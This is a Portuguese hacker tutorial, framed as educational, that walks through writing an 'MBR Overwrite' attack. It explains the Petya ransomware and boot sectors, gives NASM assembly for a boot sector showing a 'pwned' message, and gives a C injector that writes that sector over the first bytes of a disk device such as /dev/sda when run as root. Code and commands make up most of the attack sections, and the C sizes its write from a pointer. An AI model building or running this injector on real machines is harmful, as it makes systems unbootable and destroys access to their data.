Autor: @mrempy
:::!~!!!!!:. .xUHWH!! !!?M88WHX:. .X*#M@$!! !X!M$$$$$$WWx:. :!!!!!!?H! :!$!$$$$$$$$$$8X: !!~ ~:~!! :~!$!#$$$$$$$$$$8X: :!~::!H!< ~.U$X!?R$$$$$$$$MM! ~!~!!!!~~ .:XW$$$U!!?$$$$$$RMM! !:~~~ .:!M"T#$$$$WX??#MRRMMM! ~?WuxiW*` `"#$$$$8!!!!??!!! :X- M$$$$ `"T#$T~!8$WUXU~ :%` ~#$$$m: ~!~ ?$$$$$$ :!`.- ~T$$$$8xx. .xWW- ~""##*" ..... -~~:<` ! ~?T#$$@@W@*?$$ /` W$@@M!!! .!~~ !! .:XUW$W!~ `"~: : #"~~`.:x%`!! !H: !WM$$$$Ti.: .!WUn+!` :::~:!!`:X~ .: ?H.!u "$$$B$$$!W:U!T$$M~ - Esse setor de boot foi pwnado! .~~ :X@!.-~ ?@WTWo("*$$$W$TH$! ` Wi.~!X$?!-~ : ?$$$B$Wu("**$RM! $R@i.~~ ! : ~$$$$$B$$en:`` ?MXT@Wx.~ : ~"##*$$$$M~ ▓▓▓▓▓▓ ▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓ ░░▓▓▒▒▒▒▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▓▓▓▓▓▓▓▒▒▒▒▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓▓▓▒▒▓▓ ░░▓▓▒▒░░▒▒▒▒▒▒▒▒▒▒▒▒░░▒▒▒▒▒▒▒▒▒▒░░░░▒▒▒▒▒▒▒▒░░░░░░░░░░▒▒▒▒▒▒▒▒▒▒▓▓ ░░▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░Sumário░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓ ░░▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓ ▓▓▒▒░░░░░░░░░░░░░░░░░░1. Petya Ransomware░░░░░░░░░░░░░░░░░▒▒▓▓▓▓ ▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓▓▓ ▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓ ░░▓▓▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓ ░░▓▓▒▒░░░░░░░░░░░░░░░░░2. O que é um setor de boot░░░░░░░░░░░░▒▒▓▓▓▓ ░░▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓ ░░▓▓▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓ ▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓ ▓▓▒▒░░░░░░░░░░░░░3. Codando um simples bootloader░░░░░░░░░▒▒▓▓▓▓ ▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓ ▓▓▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓ ▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓ ▓▓▓▓▒▒░░░░░░░░░░4. Codando um malware MBR Overwrite░░░░░░░▒▒▓▓▓▓ ▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓ ▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓ ▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓ ▓▓▒▒░░░░░░░░░░░░░░░░5. Execução e Demonstração░░░░░░░░░░░░░░▒▒▓▓ ▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓▓▓ ▓▓▒▒░░░░░░░░░░░░░░████████░░░░░░░░░░░░░░██░░░░██████░░░░░░▒▒▒▒ ▓▓▒▒░░░░░░░░████████░░░░██████████░░░░░░████████░░████░░░░▒▒▒▒ ░░▓▓▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░████░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▒▒ ░░▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓ ░░▓▓▓▓▒▒░░░░░░░░██░░░░░░░░██░░░░░░░░░░░░░░░░░░░░░░░░░░████░░░░▒▒▓▓▓▓ ▓▓▒▒░░░░░░░░██████░░████████░░████░░░░████████████░░██░░░░░░▒▒▓▓ ▓▓▒▒░░░░░░░░░░░░██████░░░░██████░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓ ░░▓▓▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓ ░░▓▓▓▓▒▒▒▒▒▒░░▒▒▒▒▒▒▒▒▒▒░░░░▒▒▒▒▒▒░░░░▒▒▒▒▒▒▒▒░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░▒▒▓▓ ▓▓▓▓▓▓▓▓▒▒▓▓▓▓▓▓▓▓▒▒▒▒▒▒▓▓▓▓▓▓▒▒▒▒▓▓▓▓▓▓▓▓▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓ ▓▓▓▓▓▓ ▓▓▓▓▓▓ ▓▓▓▓▓▓ ▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓ Neste paper, irei demonstrar um ataque ao setor de boot, conhecido como Master Boot Record (MBR). O ataque consiste em sobrescrever o setor de boot por um setor malicioso, o ataque é chamado de MBR Overwrite. Esse ataque o MBR pode impedir o sistema de ser ini- cializado. Neste paper você aprenderá a desenvolver scripts simples em Assembly 16 bits usando interruptores da Basic Input/Output System (BIOS) e um pouco de C. Lembrando que este paper foi escrevido com fins educativos e para pessoas curiosas, assim como eu. Vamos começar por um famoso malware que teve seu destaque em 2016 e 2017, o Petya Ransomware. ╔═════════════════════════╗ ║ Petya Ransomware ║ ╚═════════════════════════╝ Petya é uma família de malware de criptografia que foi descoberta pela primeira vez em 2016. O malware tem como alvo os sistemas baseados no Windows da Microsoft. Seu objetivo é infectar o MBR com código malicioso que impedirá a inicialização do sistema, blo- queando a inicialização do sistema. O desbloqueio é feito através de uma chave que é entregue à vítima após o pagamento do resgate pelos seus dados. ╔════════════════════════════╗ ║ O que é um setor de boot ║ ╚════════════════════════════╝ Como dito anteriormente, o setor de boot, conhecido como MBR, é o primeiro setor a ser utilizado, a placa-mãe é responsável por essa inicialização. O MBR ocupa os primeiros 446 bytes da seção de boot e o código de inicialização ocupa os 64 bytes restantes. O endereço 0x7C00 é o endereço de memória na qual o código de inicialização é carregado quando o computador é ligado. Isso é feito pelo processador ao ler o MBR do disco rígido e carregar o código de inicialização na memória RAM. O código de inicializa- ção, por sua vez, é responsável por carregar o sistema operacional no resto da memória RAM. ╔═════════════════════════════════╗ ║ Codando um simples bootloader ║ ╚═════════════════════════════════╝ Para começarmos a escrever o código, precisamos definir algumas coisas, primeiro o endereço 0x7C00, que é o endereço do setor de boot, e depois os bits, que no caso é 16. Código: ╔═════════════════════════════════╗ ║ [BITS 16] ║ ║ [ORG 0x7C00] ║ ╚═════════════════════════════════╝ Para adiantarmos as últimas linhas, vamos preencher o código de boot com bytes vazios até 512 bytes e assinar com um código mágico. Iremos assinar usando o endereço x86 little-endian, conhecido como 0xAA55. Código: ╔══════════════════════════════════════════════╗ ║ [BITS 16] ║ ║ [ORG 0x7C00] ║ ║ ║ ║ ║ ║ ║ ║ times 510 - ($ - $$) db 0 ║ ║ dw 0xAA55 ║ ╚══════════════════════════════════════════════╝ A linha que tem a função times está encarregada de preencher até 510 bytes no binário que será compilado, enquanto dw assinará com o endereço 0xAA55. Agora iremos escrever uma função para imprimir cada letra de um byte definido, conhecido como DB. Para isso, iremos mover o endereço 0x0E para o registrador AH, que é um registro de acumulação alto. Posteriormente vem acompanhado na linha de baixo o caractere que você gostaria de imprimir sendo movido para o registrador de baixo acumulo, chamado AL. Próxima linha invocará o interruptor da BIOS, conhecido como 0x10, utilizando o INT. Código: ╔══════════════════════════════════════════════╗ ║ [BITS 16] ║ ║ [ORG 0x7C00] ║ ║ ║ ║ mov ah, 0x0E ║ ║ mov al, 'X' ║ ║ int 0x10 ║ ║ ║ ║ times 510 - ($ - $$) db 0 ║ ║ dw 0xAA55 ║ ╚══════════════════════════════════════════════╝ Vamos compilar o código para testar se está funcionando corretamente. $ nasm -f bin bootloader.asm -o bootloader.bin $ qemu-system-x86_64 bootloader.bin ╔═════════════════════════════════════════════════════════════════════════════╗ ║ SeaBIOS (version Arch Linux 1.16.1-1-1) ║ ║ ║ ║ ║ ║ iPXE (http://ipxe.org) 00:03.0 C900 PCI2.10 PnP PMM+06FD33A0+06F333A0 C900 ║ ║ ║ ║ ║ ║ ║ ║ Booting from Hard Disk... ║ ║ X ║ ╚═════════════════════════════════════════════════════════════════════════════╝ Podemos ver que está funcionando corretamente. Agora podemos criar uma função para imprimir todos os caracteres de uma variável. Irei usar o mesmo código que utilizei no meu artigo sobre impressão de strings em Assembly 16 bits. Não irei explicar detalhadamente como funciona a função nesse paper, mas aqui está o link para quem tiver curiosidade: https://medium.com/@mrempy/assembly-16-bits-printing-strings-a114c72f6e43 Código: ╔═══════════════════════════════════════════════════════╗ ║ [BITS 16] ║ ║ [ORG 0x7C00] ║ ║ ║ ║ Jmp Main ║ ║ ║ ║ Main: ║ ║ mov si, pwnedmessage ║ ║ call Print ║ ║ jmp $ ║ ║ ║ ║ Print: ║ ║ mov ah, 0x0E ║ ║ mov al, [si] ║ ║ loop: ║ ║ int 0x10 ║ ║ inc si ║ ║ mov al, [si] ║ ║ cmp al, 0 ║ ║ jne loop ║ ║ ret ║ ║ ret ║ ║ ║ ║ ║ ║ pwnedmessage db "Esse setor de boot foi pwnado!" ║ ║ ║ ║ times 510 - ($ - $$) db 0 ║ ║ dw 0xAA55 ║ ╚═══════════════════════════════════════════════════════╝ O código para o setor de boot está pronto, podemos compilar e testar. $ nasm -f bin bootloader.asm -o bootloader.bin $ qemu-system-x86_64 bootloader.bin ╔═════════════════════════════════════════════════════════════════════════════╗ ║ SeaBIOS (version Arch Linux 1.16.1-1-1) ║ ║ ║ ║ ║ ║ iPXE (http://ipxe.org) 00:03.0 C900 PCI2.10 PnP PMM+06FD33A0+06F333A0 C900 ║ ║ ║ ║ ║ ║ ║ ║ Booting from Hard Disk... ║ ║ Esse setor de boot foi pwnado! ║ ╚═════════════════════════════════════════════════════════════════════════════╝ ╔════════════════════════════════════╗ ║ Codando um malware MBR Overwrite ║ ╚════════════════════════════════════╝ Agora precisamos desenvolver um malware para substituir a MBR pelo código malicioso que temos, então temos que definir os cabeçalhos do script. Código: ╔═════════════════════════════════════════════════════════════════════════════╗ ║ #include <.stdio.h> # remova esse ponto no inicio do sinal menor que ║ ║ #include <.stdlib.h> ║ ║ #include <.unistd.h> ║ ║ ║ ║ int main(int argc, char* argv[]) { ║ ║ return 0; ║ ║ } ║ ║ ║ ║ ║ ╚═════════════════════════════════════════════════════════════════════════════╝ Para adicionar o código malicioso de setor de boot, podemos usar o CyberChef para transforma o binário em Hex e adicioná-lo em uma variável char não assinada. CyberChef: https://icyberchef.com/#recipe=To_Hex('%5C%5Cx',0) Código: ╔═════════════════════════════════════════════════════════════════════════════╗ ║ #include <.stdio.h> ║ ║ #include <.stdlib.h> ║ ║ #include <.unistd.h> ║ ║ ║ ║ int main(int argc, char* argv[]) { ║ ║ unsigned char* payload = "\x01\x02\x03\x04\x05..."; ║ ║ return 0; ║ ║ } ║ ║ ║ ║ ║ ╚═════════════════════════════════════════════════════════════════════════════╝ Agora precisamos escrever um código para abrir o sistema de arquivos do disco para escrever os bytes nele, e depois definir o ponto de partida da escrita, para não acabar "limpando" o disco e adicionando o payload. Código: ╔═════════════════════════════════════════════════════════════════════════════╗ ║ #include <.stdio.h> ║ ║ #include <.stdlib.h> ║ ║ #include <.unistd.h> ║ ║ ║ ║ int main(int argc, char* argv[]) { ║ ║ unsigned char* payload = "\x01\x02\x03\x04\x05..."; ║ ║ FILE* harddisk; ║ ║ ║ ║ if (geteuid() != 0) { ║ ║ puts("You need to run as root user"); ║ ║ return 1; ║ ║ } ║ ║ harddisk = fopen(argv[1], "wb"); ║ ║ fseek(harddisk, 0, SEEK_SET); ║ ║ fwrite(payload, sizeof(payload), 1, harddisk); ║ ║ fclose(harddisk); ║ ║ return 0; ║ ║ } ║ ║ ║ ║ ║ ╚═════════════════════════════════════════════════════════════════════════════╝ Você precisa saber qual é o caminho do seu disco, por exemplo /dev/sda. Tudo feito! Agora é só compilar e executar em um ambiente virtualizado para não causar danos na máquina. $ gcc injector.c -o injector.elf ╔═══════════════════════════╗ ║ Execução e Demonstração ║ ╚═══════════════════════════╝ Após enviar o código e compilá-lo para um ambiente virtual, execute o binário como root e reinicie a máquina. $ sudo ./injector.elf $ reboot Após reiniciar a máquina você receberá uma mensagem parecida como: ╔═════════════════════════════════════════════════════════════════════════════╗ ║ Esse setor de boot foi pwnado! ║ ║ ║ ║ ║ ║ ║ ║ ║ ║ ║ ║ ║ ║ ║ ║ ║ ╚═════════════════════════════════════════════════════════════════════════════╝ Observe um exemplo em GIF demonstrando a injeção e a reinicialização da máquina: https://github.com/MrEmpy/MBROverwrite/blob/main/assets/demo.gif _--_ / -) ___/___|___ ____-----=~~///| ||||~~~==-----_____ //~////////////~/| |//|||||\\\\\\\\\\\\\ ////////////////////| |///////|\\\\\\\\\\\\\\\ /////~~~~~~~~~~~~~~~\ |.||/~~~~~~~~~~~~~~~~~`\\\\\ //~ /\\|\\ ~\\ ///W^\W\ ////|||\\\ ~~~~~~~~~~ Amolo Hunters Obrigado por lerem meu paper, até a próxima ;)